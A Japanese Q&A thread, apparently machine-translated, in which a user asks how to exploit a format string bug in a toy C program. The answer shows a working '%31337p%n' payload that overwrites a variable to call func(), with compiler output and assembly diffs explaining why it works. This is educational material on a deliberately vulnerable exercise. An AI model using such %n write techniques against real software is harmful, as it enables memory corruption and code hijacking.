3
#include <stdio.h>
int main()
{
    char s[200]
    int a=123;
    int b=&a;
    scanf("%50s",s);
    printf(s);

    if (a==31337)
        func();
}

目的は、フォーマット文字列攻撃を実行することです。つまり、文字列を入力して func() を実行します。%n を使用して変数を上書きしようとしましたが、最初に b 変数を表示しないと不可能であり、方法がわかりません。ヒントをいただければ幸いです。私の悪い英語でごめんなさい。

4

1 に答える 1

1

印刷の有無にかかわらず試してみましょう:

$ cat > f.c << \EOF
#include <stdio.h>
void func() {
    fprintf(stderr, "func\n");
}

int main()
{
    char s[200];
    int a=123;
    int b=&a;
    #ifdef FIXER
    fprintf(stderr, "%p\n", b); /* make "b" actually used somewhere */
    #endif
    scanf("%50s",s);
    printf(s);

    if (a==31337)
        func();
}
EOF

$ gcc --version | head -n 1; uname -m
gcc (Debian 4.7.2-5) 4.7.2
i686

$ gcc -S  f.c -o doesnt_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
$ gcc -S -DFIXER  f.c -o does_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]

$ gcc doesnt_work.s -o doesnt_work; gcc does_work.s -o does_work


$ echo '%31337p%n' | ./does_work > /dev/null
0xbfe75970
func

$ echo '%31337p%n' | ./doesnt_work > /dev/null
Segmentation fault

質問で述べたように、b最初に印刷しないと失敗することがはっきりとわかります。

内部で何が起こっているかを比較してみましょう。

$ diff -ur does_work.s doesnt_work.s
--- does_work.s 2013-02-06 03:17:06.000000000 +0300
+++ doesnt_work.s   2013-02-06 03:16:52.000000000 +0300
@@ -29,8 +29,6 @@
    .size   func, .-func
    .section    .rodata
 .LC1:
-   .string "%p\n"
-.LC2:
    .string "%50s"
    .text
    .globl  main
@@ -48,15 +46,9 @@
    movl    $123, 16(%esp)
    leal    16(%esp), %eax
    movl    %eax, 220(%esp)
-   movl    stderr, %eax
-   movl    220(%esp), %edx    /* !!! */
-   movl    %edx, 8(%esp)      /* !!! */
-   movl    $.LC1, 4(%esp)
-   movl    %eax, (%esp)
-   call    fprintf
    leal    20(%esp), %eax
    movl    %eax, 4(%esp)
-   movl    $.LC2, (%esp)
+   movl    $.LC1, (%esp)
    call    __isoc99_scanf
    leal    20(%esp), %eax
    movl    %eax, (%esp)

マークされた行には、「の値をb%edx に取得し、それを 3 番目の引数としてスタックに入れる」と表示されます。

printf と scanf は cdecl 呼び出し規則を使用するため、スタックは呼び出し全体でほぼ同じままであるため、3 番目の引数は脆弱なprintf設定で引き続き使用できます。

を出力しないとb、挿入されたフォーマット文字列で簡単に利用できるようにスタックに入れられません。

十分な数があれ%p%p%p%p%p%p...ば、実際の文字数に到達できるはずですが、入力文字数 50 という制限が邪魔になっています。ab

于 2013-02-06T00:45:02.393 に答える